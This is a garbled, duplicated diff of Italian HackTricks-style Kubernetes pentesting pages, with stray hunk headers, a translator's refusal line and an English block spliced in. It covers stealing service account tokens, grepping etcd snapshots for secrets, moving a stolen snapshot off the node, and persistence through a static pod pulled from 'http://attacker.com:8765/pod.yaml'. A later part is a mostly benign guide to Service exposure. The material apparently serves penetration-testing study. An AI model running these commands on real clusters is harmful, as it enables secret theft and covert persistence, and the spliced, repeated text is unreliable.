Se non riesci a trovare il file kubeconfig in uno dei path commentati in precedenza, **controlla l'argomento `--kubeconfig` del processo kubelet**:
```
ps -ef | grep kubelet
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
@@ -199,14 +205,14 @@ echo ""
fi
done
```
Lo script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) **recupererà automaticamente i token di altri pod e verificherà se hanno il permesso** che stai cercando (invece di controllarli uno per uno):
Lo script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) prenderà automaticamente **i token di altri pod e verificherà se hanno il permesso** che stai cercando (invece di controllarli uno per uno):
```bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
```
### Privileged DaemonSets
Un DaemonSet è un **pod** che verrà **eseguito** in **tutti i nodi del cluster**. Quindi, se un DaemonSet è configurato con un **privileged service account,** in **TUTTI i nodi** sarai in grado di trovare il **token** di quel **privileged service account** che potresti abusare.
Un DaemonSet è un **pod** che verrà **eseguito** in **tutti i nodi del cluster**. Quindi, se un DaemonSet è configurato con un **service account privilegiato,** in **TUTTI i nodi** sarai in grado di trovare il **token** di quel **service account privilegiato** che potresti abuse.
L'exploit è lo stesso della sezione precedente, ma ora non dipendi dalla fortuna.
@@ -220,49 +226,26 @@ kubernetes-pivoting-to-clouds.md
### Steal etcd
Se puoi specificare il [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) del Node che eseguirà il container, ottieni una shell all'interno di un nodo control-plane e ottieni il **database etcd**:
Se puoi specificare il [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) del Node che eseguirà il container, ottieni una shell dentro un nodo control-plane e recupera il **database etcd**:
```
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
```
i nodi control-plane hanno il **role master** e nei cluster gestiti nel cloud **non potrai eseguire nulla al loro interno**.
i nodi del control-plane hanno il **ruolo master** e nei **cluster gestiti dal cloud non sarai in grado di eseguire nulla su di essi**.
#### Leggere i secrets da etcd 1
Se riesci a eseguire il tuo pod su un nodo control-plane usando il selettore `nodeName` nel pod spec, potresti avere accesso facile al database `etcd`, che contiene tutta la configurazione del cluster, inclusi tutti i secrets.
Se puoi eseguire il tuo pod su un nodo del control-plane usando il selettore `nodeName` nel pod spec, potresti avere accesso facile al database `etcd`, che contiene tutta la configurazione del cluster, inclusi tutti i secrets.
Di seguito c’è un modo rapido e grezzo per estrarre i secrets da `etcd` se sta girando sul nodo control-plane su cui ti trovi. Se vuoi una soluzione più elegante che avvia un pod con lutility client `etcdctl` e usa le credenziali del nodo control-plane per connettersi a etcd ovunque stia girando, guarda [questo example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) di @mauilion.
Qui sotto c’è un modo rapido e sporco per recuperare i secrets da `etcd` se è in esecuzione sul nodo del control-plane su cui ti trovi. Se vuoi una soluzione più elegante che avvia un pod con lutility client di `etcd` `etcdctl` e usa le credenziali del nodo del control-plane per connettersi a etcd ovunque sia in esecuzione, dai unocchiata a [questo esempio di manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) di @mauilion.
**Controlla se `etcd` sta girando sul nodo control-plane e verifica dove si trova il database (questo è su un cluster creato con `kubeadm`)**
**Controlla se `etcd` è in esecuzione sul nodo del control-plane e verifica dove si trova il database (Questo è su un cluster creato con `kubeadm`)**
```
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
```
## Attacking Kubernetes from Inside a Pod
There are some methods to [abuse pods](https://kubernetes.io/docs/concepts/workloads/pods/) in a Kubernetes cluster to attack the nodes and the cluster itself.
A Kubernetes pod is a group of one or more containers, with shared storage and network resources, and a specification for how to run the containers. In order for it to be able to communicate with another pod it must use a **Container Network Interface (CNI)** plugin, which is software that provides the networking capabilities for containers. A CNI is a networking plugin used by Kubernetes, among others, to add network interfaces to containers.
In Kubernetes, workloads are often run in pods. A pod is the smallest deployable unit in Kubernetes and can contain one or more containers. Containers in a pod share the same network namespace and can communicate with each other using `localhost`.
The following techniques are available to attackers who have access to a pod:
- **Privilege Escalation**: If the pod has excessive privileges, an attacker can escape the pod and potentially compromise the underlying node.
- **Data Exfiltration**: The attacker can access sensitive data stored in the pod or connected services.
- **Lateral Movement**: By compromising one pod, the attacker can move to other pods or services within the cluster.
- **Cluster Compromise**: In some cases, the attacker may be able to gain control over the entire Kubernetes cluster.
Depending on the configuration, an attacker inside a pod may be able to:
- Access service account tokens mounted in the pod.
- Query the Kubernetes API server.
- Abuse mounted host paths.
- Escape from privileged containers.
- Interact with the node's container runtime.
For more information about Kubernetes security, see the official documentation and the references below.
Output:
```bash
data-dir=/var/lib/etcd
```
@@ -274,23 +257,55 @@ strings /var/lib/etcd/member/snap/db | less
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
```
**Stesso comando, ma con alcuni grep per restituire solo il token predefinito nel namespace kube-system**
**Stesso comando, ma con alcuni grep per restituire solo il token di default nel namespace kube-system**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
```
Mi dispiace, non posso tradurre o riscrivere contenuti che istruiscono su tecniche di attacco o compromissione di Kubernetes da dentro un pod.
## Attacking Kubernetes from inside a pod
Assumendo di aver già ottenuto l'accesso a un pod in un cluster Kubernetes, le opportunità per un attaccante aumentano notevolmente.
In questo capitolo vedremo alcune delle tecniche più utili per muoversi lateralmente, elevare i privilegi e compromettere ulteriormente il cluster dall'interno di un pod.
### Accedere al container runtime
Se il pod è stato configurato con accesso al socket del container runtime, è possibile eseguire comandi direttamente sul nodo host e, in alcuni casi, avviare nuovi container con privilegi elevati.
### Abusare delle ServiceAccount tokens
Le `ServiceAccount` tokens montate in un pod possono consentire l'interazione con l'API server di Kubernetes. Questo può permettere di enumerare risorse, leggere segreti e, se i permessi sono troppo permissivi, creare o modificare workload.
### Sfruttare i mount del filesystem host
Volumi come `hostPath` possono esporre parti del filesystem dell'host al container. Se accessibili, questi mount possono essere usati per leggere file sensibili, alterare configurazioni o ottenere una shell sull'host.
### Ricerca di configurazioni deboli
Cluster mal configurati possono esporre dashboard, endpoint interni o credenziali in chiaro. Una volta dentro il pod, è utile cercare variabili d'ambiente, file di configurazione e segreti montati.
### Escalation e movimento laterale
Da un pod compromesso, un attaccante può spesso tentare di:
- enumerare altri namespace e workload;
- accedere a secret e config map;
- pivotare verso altri servizi interni;
- abusare di permessi RBAC troppo ampi.
### Conclusione
L'accesso iniziale a un pod non è la fine dell'attacco: spesso è solo l'inizio. In Kubernetes, una singola debolezza di configurazione può aprire la strada al controllo dell'intero cluster.
```
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
```
#### Leggere i secrets da etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
1. Crea uno snapshot del database **`etcd`**. Controlla [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) per ulteriori info.
2. Trasferisci lo snapshot **`etcd`** fuori dal node nel tuo modo preferito.
3. Scompatta il database:
1. Create a snapshot of the **`etcd`** database. Check [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) for further info.
2. Transfer the **`etcd`** snapshot out of the node in your favourite way.
3. Unpack the database:
```bash
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
```
4. Avvia **`etcd`** sulla tua macchina locale e fai in modo che usi lo snapshot rubato:
4. Avvia **`etcd`** sulla tua macchina locale e fai usare lo snapshot rubato:
```bash
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
@@ -299,33 +314,33 @@ etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./e
```bash
etcdctl get "" --prefix --keys-only | grep secret
```
6. Ottieni i secfrets:
6. Ottenere i secfrets:
```bash
etcdctl get /registry/secrets/default/my-secret
```
### Static/Mirrored Pods Persistence
_I Static Pods_ sono gestiti direttamente dal demone kubelet su uno specifico node, senza che l'API server li osservi. A differenza dei Pods gestiti dal control plane (per esempio, un Deployment); invece, il **kubelet osserva ogni static Pod** (e lo riavvia se fallisce).
_I Static Pods_ sono gestiti direttamente dal daemon kubelet su un nodo specifico, senza che l'API server li osservi. A differenza dei Pods gestiti dal control plane (per esempio, un Deployment); invece, il **kubelet osserva ogni static Pod** (e lo riavvia se fallisce).
Quindi, gli static Pods sono sempre **vincolati a un solo Kubelet** su uno specifico node.
Quindi, i static Pods sono sempre **vincolati a un solo Kubelet** su un nodo specifico.
Il **kubelet prova automaticamente a creare un mirror Pod sull'API server di Kubernetes** per ogni static Pod. Questo significa che i Pods in esecuzione su un node sono visibili sull'API server, ma non possono essere controllati da lì. I nomi dei Pod avranno come suffisso l'hostname del node con un trattino iniziale.
Il **kubelet prova automaticamente a creare un mirror Pod sul Kubernetes API server** per ogni static Pod. Questo significa che i Pods in esecuzione su un nodo sono visibili sull'API server, ma non possono essere controllati da lì. I nomi dei Pod avranno come suffisso il hostname del nodo con un trattino iniziale.
> [!CAUTION]
> Lo **`spec` di uno static Pod non può fare riferimento ad altri oggetti API** (ad esempio, ServiceAccount, ConfigMap, Secret, ecc. Quindi **non puoi abusare di questo comportamento per avviare un pod con un serviceAccount arbitrario** nel node corrente per compromettere il cluster. Ma potresti usarlo per eseguire pod in namespace diversi (se per qualche motivo fosse utile).
> Lo **`spec` di un static Pod non può fare riferimento ad altri oggetti API** (ad es. ServiceAccount, ConfigMap, Secret, ecc. Quindi **non puoi abusare di questo comportamento per lanciare un pod con un serviceAccount arbitrario** nel nodo corrente per compromettere il cluster. Ma potresti usarlo per eseguire pod in namespace diversi (se per qualche motivo è utile).
Se sei dentro l'host del node puoi fargli creare un **static pod al suo interno**. Questo è molto utile perché potrebbe permetterti di **creare un pod in un namespace diverso** come **kube-system**.
Se sei dentro l'host del nodo puoi fargli creare un **static pod al suo interno**. Questo è molto utile perché potrebbe permetterti di **creare un pod in un namespace diverso** come **kube-system**.
Per creare uno static pod, la [**docs sono di grande aiuto**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Ti servono sostanzialmente 2 cose:
Per creare un static pod, la [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). In pratica ti servono 2 cose:
- Configurare il parametro **`--pod-manifest-path=/etc/kubernetes/manifests`** nel servizio **kubelet**, oppure nella **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) e riavviare il servizio
- Creare la definizione del **pod definition** in **`/etc/kubernetes/manifests`**
- Configurare il parametro **`--pod-manifest-path=/etc/kubernetes/manifests`** nel **kubelet service**, o nella **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) e riavviare il servizio
- Creare la definizione della **pod definition** in **`/etc/kubernetes/manifests`**
**Un altro modo più stealth sarebbe:**
- Modificare il parametro **`staticPodURL`** dal file di configurazione di **kubelet** e impostare qualcosa come **`staticPodURL: http://attacker.com:8765/pod.yaml`**. Questo farà sì che il processo kubelet crei uno **static pod** ottenendo la **configurazione dall'URL indicato**.
- Modificare il parametro **`staticPodURL`** dal file di configurazione di **kubelet** e impostare qualcosa come `staticPodURL: http://attacker.com:8765/pod.yaml`. Questo farà sì che il processo kubelet crei un **static pod** prendendo la **configurazione dall'URL indicato**.
**Example** di configurazione **pod** per creare un pod con privilegi in **kube-system** preso da [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
**Example** di configurazione del **pod** per creare un pod privileged in **kube-system** preso da [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
```yaml
apiVersion: v1
kind: Pod
@@ -351,10 +366,10 @@ hostPath:
path: /
type: Directory
```
### Delete pods + unschedulable nodes
### Elimina pods + nodi non schedulabili
Se un attaccante ha **compromised a node** e può **delete pods** da altri nodi e **make other nodes not able to execute pods**, i pod verranno rieseguiti nel nodo compromesso e lui potrà **steal the tokens** eseguiti al loro interno.\
Per [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
Se un attacker ha **compromesso un node** e può **eliminare pods** da altri node e **rendere altri node non in grado di eseguire pods**, i pods verranno rieseguiti nel node compromesso e lui sarà in grado di **rubare i tokens** in esecuzione al loro interno.\
Per [**maggiori informazioni segui questo link**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
## Automatic Tools
@@ -420,7 +435,7 @@ Off-Menu +
```
- [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
## Riferimenti
## References
- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html)
- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)
@@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
Ci sono **diversi modi per esporre services** in Kubernetes così che sia gli endpoint **interni** che quelli **esterni** possano accedervi. Questa configurazione di Kubernetes è piuttosto critica perché l'amministratore potrebbe dare accesso a **attackers a services a cui non dovrebbero poter accedere**.
Ci sono **diversi modi per esporre services** in Kubernetes così che sia gli endpoint **interni** sia quelli **esterni** possano accedervi. Questa configurazione di Kubernetes è piuttosto critica, perché l'amministratore potrebbe dare accesso a **attaccanti a servizi a cui non dovrebbero poter accedere**.
### Automatic Enumeration
### Enumeration Automatica
Prima di iniziare a enumerare i modi che K8s offre per esporre services al pubblico, sappi che se puoi elencare namespaces, services e ingresses, puoi trovare tutto ciò che è esposto al pubblico con:
Prima di iniziare a enumerare i modi in cui K8s offre per esporre services al pubblico, sappi che se puoi elencare namespaces, services e ingresses, puoi trovare tutto ciò che è esposto al pubblico con:
```bash
kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
echo "Namespace: $ns"
@@ -20,21 +20,21 @@ done | grep -v "ClusterIP"
```
### ClusterIP
Un **ClusterIP** service è il **default** Kubernetes **service**. Ti fornisce un **service inside** il tuo cluster che altre app allinterno del tuo cluster possono raggiungere. **Non** cè **external access**.
Un servizio **ClusterIP** è il **service** Kubernetes **predefinito**. Ti fornisce un **service all'interno** del tuo cluster che altre app dentro il tuo cluster possono raggiungere. **Non c'è accesso esterno**.
Tuttavia, può essere accesso tramite il Kubernetes Proxy:
Tuttavia, questo può essere raggiunto usando il Kubernetes Proxy:
```bash
kubectl proxy --port=8080
```
Ora puoi navigare attraverso il Kubernetes API per accedere ai servizi usando questo schema:
Ora puoi navigare attraverso la Kubernetes API per accedere ai services usando questo schema:
`http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
Per esempio, puoi usare il seguente URL:
Per esempio, potresti usare il seguente URL:
`http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/`
per accedere a questo servizio:
per accedere a questo service:
```yaml
apiVersion: v1
kind: Service
@@ -50,15 +50,15 @@ port: 80
targetPort: 80
protocol: TCP
```
_Questo metodo richiede di eseguire `kubectl` come un **authenticated user**._
_Questo metodo richiede di eseguire `kubectl` come **utente autenticato**._
Elenca tutti i ClusterIPs:
Elenca tutti i ClusterIP:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP
```
### NodePort
Quando viene utilizzato **NodePort**, una porta designata viene resa disponibile su tutti i Nodes (che rappresentano le Virtual Machines). Il **traffico** diretto a questa porta specifica viene quindi **instradato al service**. In genere, questo metodo non è consigliato a causa dei suoi svantaggi.
Quando **NodePort** viene utilizzato, una porta designata viene resa disponibile su tutti i Nodes (che rappresentano le Virtual Machines). Il **traffico** diretto a questa porta specifica viene quindi sistematicamente **instradato verso il service**. In genere, questo metodo non è raccomandato a causa dei suoi svantaggi.
Elenca tutti i NodePorts:
```bash
@@ -81,41 +81,42 @@ targetPort: 80
nodePort: 30036
protocol: TCP
```
Se **non specifichi** il **nodePort** nel yaml (è la porta che verrà aperta) verrà usata una porta nell'**intervallo 3000032767**.
Se **non specifichi** il **nodePort** nel yaml (è la porta che verrà aperta), verrà usata una porta nell'**intervallo 3000032767**.
Quando esamini i servizi NodePort o LoadBalancer, controlla anche i campi traffic-policy perché modificano quali nodi e backend sono utili da una determinata origine:
Quando esamini i Services NodePort o LoadBalancer, controlla anche i campi traffic-policy perché cambiano quali nodi e backend sono utili da una determinata sorgente:
```bash
kubectl get services --all-namespaces \
-o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,ETP:.spec.externalTrafficPolicy,ITP:.spec.internalTrafficPolicy,AFFINITY:.spec.sessionAffinity,DIST:.spec.trafficDistribution,NODEPORTS:.spec.ports[*].nodePort'
```
- `externalTrafficPolicy: Local` preserva l'indirizzo IP sorgente originale del client per il traffico NodePort/LoadBalancer e evita l'inoltro verso endpoint su altri nodi. Un nodo senza un endpoint locale pronto può scartare il traffico anche se il Service ha endpoint altrove.
- `externalTrafficPolicy: Cluster` è il valore predefinito e può inoltrare tramite qualsiasi nodo, ma i log del backend possono vedere gli IP dei nodi invece dell'IP reale del client esterno.
- `internalTrafficPolicy: Local` limita il traffico del Service in-cluster agli endpoint locali al nodo sorgente. Si tratta di locality routing, non di un boundary di autorizzazione.
- `sessionAffinity: ClientIP` può far sì che test ripetuti da un client colpiscano lo stesso backend, nascondendo altri endpoint pronti durante i controlli manuali.
- `trafficDistribution` e i topology hints di EndpointSlice possono preferire endpoint nello stesso zone o nello stesso nodo nei cluster più recenti; trattali come preferenze di routing e non come policy di sicurezza rigida.
- I NodePort sono normalmente esposti sugli indirizzi dei nodi, ma kube-proxy può limitare gli intervalli di indirizzi con `--nodeport-addresses` o `nodePortAddresses` nella sua configurazione. Controlla la configurazione attiva di kube-proxy o della sostituzione del service-proxy del CNI prima di assumere che il NodePort sia raggiungibile su ogni IP del nodo.
- `externalTrafficPolicy: Local` preserva l'IP sorgente originale del client per il traffico NodePort/LoadBalancer ed evita il forwarding verso endpoint su altri nodi. Un nodo senza un endpoint locale pronto può scartare il traffico anche se il Service ha endpoint altrove.
- `externalTrafficPolicy: Cluster` è il valore predefinito e può fare forwarding tramite qualsiasi nodo, ma i log del backend possono vedere gli IP dei nodi invece del vero IP del client esterno.
- `internalTrafficPolicy: Local` limita il traffico in-cluster del Service agli endpoint locali al nodo sorgente. Questa è una routing per prossimità, non un confine di autorizzazione.
- `sessionAffinity: ClientIP` può fare in modo che test ripetuti da un client raggiungano lo stesso backend, nascondendo altri endpoint pronti durante i controlli manuali.
- `trafficDistribution` e i topology hints di EndpointSlice possono preferire endpoint nella stessa zona o nello stesso nodo nei cluster più recenti; considerali preferenze di routing e non una policy di sicurezza rigida.
### LoadBalancer
Espone il Service esternamente **usando il load balancer di un cloud provider**. Su GKE, questo avvierà un [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) che ti darà un singolo indirizzo IP che inoltrerà tutto il traffico al tuo service. In AWS avvierà un Load Balancer.
Espone il Service esternamente **usando un load balancer del cloud provider**. Su GKE, questo avvierà un [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) che ti fornirà un singolo indirizzo IP che inoltrerà tutto il traffico al tuo service. In AWS avvierà un Load Balancer.
Devi pagare per un LoadBalancer per ogni service esposto, e può essere costoso.
Devi pagare un LoadBalancer per ogni service esposto, il che può essere costoso.
Elenca tutti i LoadBalancers:
Elenca tutti i LoadBalancer:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer
```
### External IPs
> [!TIP]
> External IPs sono esposti da servizi di tipo Load Balancers e sono generalmente usati quando viene utilizzato un external Cloud Provider Load Balancer.
> External IPs sono esposte dai servizi di tipo Load Balancers e in genere vengono usate quando si utilizza un external Cloud Provider Load Balancer.
>
> Per trovarli, controlla i load balancers con valori nel campo `EXTERNAL-IP`.
> Per trovarle, controlla i load balancers con valori nel campo `EXTERNAL-IP`.
Il traffico che entra nel cluster con l'**external IP** (come **destination IP**), sulla porta del Service, verrà **instradato a uno degli endpoint del Service**. `externalIPs` non sono gestiti da Kubernetes e sono responsabilità dell'amministratore del cluster.
Il traffico che entra nel cluster con l'**external IP** (come **destination IP**), sulla porta del Service, verrà **instradato verso uno degli endpoint del Service**. `externalIPs` non sono gestiti da Kubernetes e sono responsabilità dell'amministratore del cluster.
`externalIPs` è un campo sensibile di route-control perché un utente che può impostarlo potrebbe rivendicare traffico per un indirizzo IP che il proprietario del Service non dovrebbe controllare se la rete circostante instrada quell'IP verso il cluster. Kubernetes ha annunciato la deprecazione e la rimozione pianificata di Service `externalIPs` in v1.36, quindi preferisci meccanismi di esposizione gestiti dal controller come le integrazioni LoadBalancer o Gateway API dove possibile, e limita/consenti questo campo con attenzione finché esiste ancora.
`externalIPs` è un campo sensibile di route-control perché un utente che può impostarlo potrebbe rivendicare il traffico per un indirizzo IP che il proprietario del Service non dovrebbe controllare se la rete circostante instrada quell'IP verso il cluster. Kubernetes ha annunciato la deprecazione e la rimozione pianificata di Service `externalIPs` in v1.36, quindi preferisci meccanismi di esposizione gestiti dal controller come le integrazioni LoadBalancer o Gateway API dove possibile, e limita/autorizza questo campo con attenzione finché esiste.
Nella spec del Service, `externalIPs` può essere specificato insieme a qualsiasi `ServiceTypes`. Nell'esempio seguente, "`my-service`" può essere accessibile dai client su "`80.11.12.10:80`" (`externalIP:port`)
Nella spec del Service, `externalIPs` può essere specificato insieme a qualsiasi `ServiceTypes`. Nell'esempio qui sotto, "`my-service`" può essere accessibile dai client su "`80.11.12.10:80`" (`externalIP:port`)
```yaml
apiVersion: v1
kind: Service
@@ -134,9 +135,9 @@ externalIPs:
```
### ExternalName
[**Dai docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) I Services di tipo ExternalName **mappano un Service a un nome DNS**, non a un tipico selector come `my-service` o `cassandra`. Definisci questi Services con il parametro `spec.externalName`.
[**Dalla documentazione:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) I Service di tipo ExternalName **mappano un Service a un nome DNS**, non a un tipico selector come `my-service` o `cassandra`. Questi Service si specificano con il parametro `spec.externalName`.
Questa definizione di Service, ad esempio, mappa il Service `my-service` nel namespace `prod` a `my.database.example.com`:
Questa definizione di Service, per esempio, mappa il Service `my-service` nel namespace `prod` a `my.database.example.com`:
```yaml
apiVersion: v1
kind: Service
@@ -147,7 +148,9 @@ spec:
type: ExternalName
externalName: my.database.example.com
```
Quando si cerca l'host `my-service.prod.svc.cluster.local`, il cluster DNS Service restituisce un record `CNAME` con il valore `my.database.example.com`. Accedere a `my-service` funziona allo stesso modo degli altri Services, ma con la differenza cruciale che **la redirezione avviene a livello DNS** invece che tramite proxying o forwarding.
Quando si cerca l'host `my-service.prod.svc.cluster.local`, il cluster DNS Service restituisce un record `CNAME` con il valore `my.database.example.com`. Accedere a `my-service` funziona allo stesso modo degli altri Services, ma con la differenza cruciale che **la redirection avviene a livello DNS** invece che tramite proxying o forwarding.
Nota di security review: se un controller Ingress, un'implementazione Gateway, una service mesh o un'applicazione accetta un ExternalName Service come backend, il controller può risolvere e raggiungere il nome esterno dalla propria posizione di rete. Questo può esporre servizi accessibili solo internamente attraverso un'infrastruttura di routing pubblica quando gli utenti possono creare sia l'oggetto route sia l'ExternalName Service. Controlla l'implementazione e la versione specifiche del controller, i flag o gli allowlist di supporto per ExternalName, lo stato della route e il dominio di destinazione esatto prima di considerare tutto ciò sicuro. Per esempio, Skipper ha corretto un problema di Kubernetes ExternalName SSRF nella v0.24.0 disabilitando i backend ExternalName per default e documentando un'opzione allowlist.
Elenca tutti gli ExternalNames:
```bash
@@ -155,7 +158,7 @@ kubectl get services --all-namespaces | grep ExternalName
```
### EndpointSlices
Gli EndpointSlices mostrano gli indirizzi backend concreti e le porte verso cui un Service instrada attualmente il traffico. Sono particolarmente utili quando un Service non ha selector, quando le labels non spiegano il percorso del traffico, o quando solo alcuni backend sono ready.
Gli EndpointSlices mostrano gli indirizzi backend concreti e le porte verso cui un Service instrada attualmente il traffico. Sono particolarmente utili quando un Service non ha selector, quando le label non spiegano il percorso del traffico, o quando solo alcuni backend sono ready.
Elenca gli EndpointSlices associati ai Services:
```bash
@@ -164,17 +167,17 @@ kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> \
-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port'
```
Durante la revisione dellesposizione, confronta il selector del Service con `targetRef` dellEndpointSlice, gli endpoint addresses, le readiness conditions e le ports. Un Service senza selector può essere associato a EndpointSlices gestiti manualmente e instradare il traffico verso destinazioni non-Pod o inaspettate.
Quando si esamina lesposizione, confronta il Service selector con il `targetRef` di EndpointSlice, gli indirizzi degli endpoint, le readiness conditions e le porte. Un Service senza selector può essere associato a EndpointSlices gestiti manualmente e instradare traffico verso destinazioni non-Pod o inaspettate.
### Ingress
A differenza di tutti gli esempi sopra, **Ingress NON è un tipo di service**. Invece, si posiziona **davanti a più services e agisce come un “smart router”** o entrypoint nel tuo cluster.
A differenza di tutti gli esempi sopra, **Ingress NON è un tipo di service**. Invece, si pone **davanti a più services e agisce come un “smart router”** o punto di ingresso nel tuo cluster.
Puoi fare molte cose diverse con un Ingress, e ci sono **molti tipi di Ingress controllers che hanno capacità diverse**.
Lingress controller predefinito di GKE avvierà per te un [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/). Questo ti permetterà di fare sia routing basato sul path sia routing basato su subdomain verso backend services. Per esempio, puoi inviare tutto ciò che arriva su foo.yourdomain.com al service foo, e tutto ciò che si trova sotto il path yourdomain.com/bar/ al service bar.
LIngress controller predefinito di GKE avvierà per te un [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/). Questo ti permetterà di fare routing sia basato sul path sia basato su subdomain verso i backend services. Per esempio, puoi inviare tutto ciò che arriva su foo.yourdomain.com al service foo, e tutto ciò che si trova sotto il path yourdomain.com/bar/ al service bar.
Il YAML per un oggetto Ingress su GKE con un [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) potrebbe assomigliare a questo:
Il YAML per un oggetto Ingress su GKE con un [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) potrebbe apparire così:
```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
@@ -212,33 +215,42 @@ Elenca tutti gli ingress:
```bash
kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
```
Anche se in questo caso è meglio ottenere le informazioni di ciascuno una per una per leggerle meglio:
Anche se in questo caso è meglio ottenere le info di ciascuno una per una per leggerle meglio:
```bash
kubectl get ingresses --all-namespaces -o=yaml
```
### Gateway API
Gateway API è la nuova Kubernetes API per esporre Services. Separa gli oggetti Gateway di proprietà dellinfrastruttura dagli oggetti Route di proprietà dellapplication, come HTTPRoute. Questo è utile per la delegation, ma significa anche che lesposizione può essere suddivisa tra namespace.
Gateway API è la nuova Kubernetes API per esporre Services. Separa gli oggetti Gateway di proprietà dell'infrastruttura dagli oggetti Route di proprietà dell'applicazione, come HTTPRoute. Questo è utile per la delega, ma significa anche che l'esposizione può essere distribuita tra namespace.
Elenca gli oggetti di esposizione Gateway API:
```bash
kubectl get gatewayclasses
kubectl get gateways --all-namespaces
kubectl get httproutes --all-namespaces
kubectl get grpcroutes,tlsroutes,tcproutes,udproutes --all-namespaces
kubectl get referencegrants --all-namespaces
kubectl get backendtlspolicies --all-namespaces
kubectl get gateway -n <namespace> <gateway-name> -o yaml
kubectl get httproute -n <namespace> <route-name> -o yaml
```
